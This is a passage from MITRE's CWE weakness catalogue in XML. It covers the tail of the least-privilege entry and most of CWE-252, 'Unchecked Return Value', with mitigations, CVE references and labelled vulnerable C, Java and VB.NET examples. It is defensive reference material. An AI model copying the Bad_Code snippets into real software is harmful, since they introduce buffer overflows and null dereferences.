				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.250.3">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 7, "Running with Least Privilege" Page
						207</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-24" Local_Reference_ID="R.250.4">
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>Federal Desktop Core Configuration</Reference_Title>
					          <Reference_Link>http://nvd.nist.gov/fdcc/index.cfm</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.250.5">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 16: Executing Code With Too Much Privilege." Page
						243</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.250.6">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Privilege Vulnerabilities", Page
						477.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Often Misused: Privilege Management</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Minimize privileges before deserializing from a privilege
						context</Mapped_Node_Name>
					          <Mapped_Node_ID>SER09-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>104</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>470</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>69</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Modes_of_Introduction, Relationships,
						Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Likelihood_of_Exploit, Maintenance_Notes, Name, Observed_Examples,
						Other_Notes, Potential_Mitigations, Relationships,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Often Misused: Privilege
						Management</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Failure to Use Least Privilege</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="252" Name="Unchecked Return Value" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not check the return value from a method or
					function, which can prevent it from detecting unexpected states and
					conditions.</Description_Summary>
				        <Extended_Description>
					          <Text>Two common programmer assumptions are "this function call can never fail"
						and "it doesn't matter if this function call fails". If an attacker can
						force the function to fail or otherwise return a value that is not expected,
						then the subsequent program logic could lead to a vulnerability, because the
						software is not in a state that the programmer assumes. For example, if the
						program calls a function to drop privileges but does not check the return
						code to ensure that privileges were successfully dropped, then the program
						will continue to operate with the higher privileges.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>690</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>476</Relationship_Target_ID>
					          <!--NULL Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>847</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 02 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Many functions will return some value about the success of their actions.
						This will alert the program whether or not to handle any errors caused by
						that function.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An unexpected return value could place the system in a state that
							could lead to a crash or other unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check the results of all functions that return a value and verify that
							the value is expected.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text> Checking the return value of the function will typically be
							sufficient, however beware of race conditions (CWE-362) in a concurrent
							environment. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that you account for all possible return values from the
							function.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When designing a function, make sure you return a value or throw an
							exception in case of an error.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-7">
					          <Intro_Text>Consider the following code segment:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char buf[10], cp_buf[10];</Code>
							              <Code>fgets(buf, 10, stdin);</Code>
							              <Code>strcpy(cp_buf, buf);</Code>
						            </Block>
						            <Text>The programmer expects that when fgets() returns, buf will contain a
							null-terminated string of length 9 or less. But if an I/O error occurs,
							fgets() will not null-terminate buf. Furthermore, if the end of the file
							is reached before any characters are read, fgets() returns without
							writing anything to buf. In both of these situations, fgets() signals
							that something unusual has happened by returning NULL, but in this code,
							the warning will not be noticed. The lack of a null terminator in buf
							can result in a buffer overflow in the subsequent call to strcpy().
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-8">
					          <Intro_Text>The following code does not check to see if memory allocation
						succeeded before attempting to use the pointer returned by
						malloc().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>buf = (char*) malloc(req_size);</Code>
							              <Code>strncpy(buf, xfer, req_size);</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "If my program runs
							out of memory, it will fail. It doesn't matter whether I handle the
							error or simply allow the program to die with a segmentation fault when
							it tries to dereference the null pointer." This argument ignores three
							important considerations:</Text>
						            <Block Block_Nature="List">
							              <Text>Depending upon the type and size of the application, it may be
								possible to free memory that is being used elsewhere so that
								execution can continue.</Text>
							              <Text>It is impossible for the program to perform a graceful exit if
								required. If the program is performing an atomic operation, it can
								leave the system in an inconsistent state.</Text>
							              <Text> The programmer has lost the opportunity to record diagnostic
								information. Did the call to malloc() fail because req_size was too
								large or because there were too many requests being handled at the
								same time? Or was it caused by a memory leak that has built up over
								time? Without handling the error, there is no way to know.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-9">
					          <Intro_Text>The following code loops through a set of users, reading a private
						data file for each user. The programmer assumes that the files are always 1
						kilobyte in size and therefore ignores the return value from Read(). If an
						attacker can create a smaller file, the program will recycle the remainder
						of the data from the previous user and treat it as though it belongs to the
						attacker.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>char[] byteArray = new char[1024];</Code>
							              <Code>for (IEnumerator i=users.GetEnumerator(); i.MoveNext()
								;i.Current()) {</Code>
							              <Block>
								                <Code>String userName = (String) i.Current();</Code>
								                <Code>String pFileName = PFILE_ROOT + "/" + userName;</Code>
								                <Code>StreamReader sr = new StreamReader(pFileName);</Code>
								                <Code>sr.Read(byteArray,0,1024);//the file is always 1k bytes</Code>
								                <Code>sr.Close();</Code>
								                <Code>processPFile(userName, byteArray);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>FileInputStream fis;</Code>
							              <Code>byte[] byteArray = new byte[1024];</Code>
							              <Code>for (Iterator i=users.iterator(); i.hasNext();) {</Code>
							              <Block>
								                <Code>String userName = (String) i.next();</Code>
								                <Code>String pFileName = PFILE_ROOT + "/" + userName;</Code>
								                <Code>FileInputStream fis = new FileInputStream(pFileName);</Code>
								                <Code>fis.read(byteArray); // the file is always 1k bytes</Code>
								                <Code>fis.close();</Code>
								                <Code>processPFile(userName, byteArray);</Code>
								                <Code/>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-10">
					          <Intro_Text>The following code does not check to see if the string returned by
						getParameter() is null before calling the member function compareTo(),
						potentially causing a NULL dereference.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String itemName = request.getParameter(ITEM_NAME);</Code>
							              <Code>if (itemName.compareTo(IMPORTANT_ITEM)) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following code does not check to see if the string returned by
							theItem property is null before calling the member function Equals(),
							potentially causing a NULL dereference. string itemName =
							request.Item(ITEM_NAME);</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>if (itemName.Equals(IMPORTANT_ITEM)) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "I know the requested
							value will always exist because.... If it does not exist, the program
							cannot perform the desired behavior so it doesn't matter whether I
							handle the error or simply allow the program to die dereferencing a null
							value." But attackers are skilled at finding unexpected paths through
							programs, particularly when exceptions are involved.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-11">
					          <Intro_Text>The following code shows a system property that is set to null and
						later dereferenced by a programmer who mistakenly assumes it will always be
						defined.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code>System.clearProperty("os.name");</Code>
							              <Code>...</Code>
							              <Code>String os = System.getProperty("os.name");</Code>
							              <Code>if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not
								supported");</Code>
						            </Block>
						            <Text>The traditional defense of this coding error is: "I know the requested
							value will always exist because.... If it does not exist, the program
							cannot perform the desired behavior so it doesn't matter whether I
							handle the error or simply allow the program to die dereferencing a null
							value." But attackers are skilled at finding unexpected paths through
							programs, particularly when exceptions are involved.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-12">
					          <Intro_Text>The following VB.NET code does not check to make sure that it has
						read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to
						operate on an unexpected value.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code>Dim MyFile As New FileStream("myfile.txt", FileMode.Open,
								FileAccess.Read, FileShare.Read)</Code>
							              <Code>Dim MyArray(50) As Byte</Code>
							              <Code>MyFile.Read(MyArray, 0, 50)</Code>
							              <Code>DoDangerousOperation(MyArray(20))</Code>
						            </Block>
						            <Text>In .NET, it is not uncommon for programmers to misunderstand Read()
							and related methods that are part of many System.IO classes. The stream
							and reader classes do not consider it to be unusual or exceptional if
							only a small amount of data becomes available. These classes simply add
							the small amount of data to the return buffer, and set the return value
							to the number of bytes or characters read. There is no guarantee that
							the amount of data returned is equal to the amount of data requested.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>It is not uncommon for Java programmers to misunderstand read() and
						related methods that are part of many java.io classes. Most errors and
						unusual events in Java result in an exception being thrown. But the stream
						and reader classes do not consider it unusual or exceptional if only a small
						amount of data becomes available. These classes simply add the small amount
						of data to the return buffer, and set the return value to the number of
						bytes or characters read. There is no guarantee that the amount of data
						returned is equal to the amount of data requested. This behavior makes it
						important for programmers to examine the return value from read() and other
						IO methods to ensure that they receive the amount of data they
						expect.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an attacker provides an address that appears to be well-formed, but
							the address does not resolve to a hostname, then the call to
							gethostbyaddr() will return NULL. When this occurs, a NULL pointer
							dereference (CWE-476) will occur in the call to strcpy().</Text>
						            <Text>Note that this example is also vulnerable to a buffer overflow (see
							CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-24">
					          <Intro_Text>The following function attempts to acquire a lock in order to
						perform operations on a shared resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>pthread_mutex_lock(mutex);</Code>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the code does not check the value returned by
							pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire
							the mutex for any reason the function may introduce a race condition
							into the program and result in undefined behavior.</Text>
						            <Text>In order to avoid data races correctly written programs must check the
							result of thread synchronization functions and appropriately handle all
							errors, either by attempting to recover from them or reporting them to
							higher levels.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>int f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>int result;</Code>
								                <Code/>
								                <Code>result = pthread_mutex_lock(mutex);</Code>
								                <Code>if (0 != result)</Code>
								                <Block>
									                  <Code>return result;</Code>
								                </Block>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>return pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3798</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked return value leads to resultant integer
						overflow and code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4447</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2916</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5183</Observed_Example_Reference>
					          <Observed_Example_Description>chain: unchecked return value can lead to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0211</Observed_Example_Reference>
					          <Observed_Example_Description>chain: unchecked return value (CWE-252) leads to
						free of invalid, uninitialized pointer
						(CWE-824).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Program Building Blocks" Page
						341.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 20, "Checking Returns" Page 624</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>ERR10-CPP. Check for error conditions</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/cplusplus/ERR10-CPP.+Check+for+error+conditions</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Unchecked Return Value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Ignored function return value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not ignore values returned by methods</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Content">
					          <Contributor>Martin Sebor</Contributor>
					          <Contribution_Organization>Cisco Systems, Inc. </Contribution_Organization>
					          <Contribution_Date>2010-04-30</Contribution_Date>
					          <Contribution_Comment>Provided Demonstrative Example and suggested CERT
						reference</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Observed_Examples, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
